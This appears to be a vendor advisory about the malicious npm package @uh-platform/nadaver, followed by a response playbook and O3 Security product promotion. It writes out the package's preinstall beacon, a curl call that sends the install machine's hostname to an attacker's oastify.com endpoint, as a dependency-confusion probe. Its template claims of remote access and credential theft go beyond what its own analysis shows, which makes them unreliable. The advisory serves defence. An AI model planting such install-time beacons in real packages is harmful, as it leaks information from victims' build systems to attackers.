@uh-platform/nadavernpm
@uh-platform/nadaver is a confirmed malicious npm package (MAL-2026-16360) that opens a backdoor for remote access (malicious version 102.0.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in @uh-platform/nadaver (npm)
What this malware does
On npm install, the package's preinstall script executes node index.js, which shells out curl to http://$(hostname).nadaver.pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/, embedding the installer machine's hostname as a subdomain of an attacker-controlled Burp Collaborator (oastify.com) endpoint. Both DNS resolution and the HTTP request leak the installer's hostname to the attacker on every install, with no user interaction. The @uh-platform scope combined with an unusually high version number (102.0.0) is consistent with a dependency-confusion beacon aimed at internal build systems that resolve the scope against the public npm registry.

Detection & response playbook
Backdoor / remote accessFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @uh-platform/nadaver (version 102.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @uh-platform/nadaver across your stack and pipelines.
If you installed it — respond
@uh-platform/nadaver establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If @uh-platform/nadaver was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @uh-platform/nadaver before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
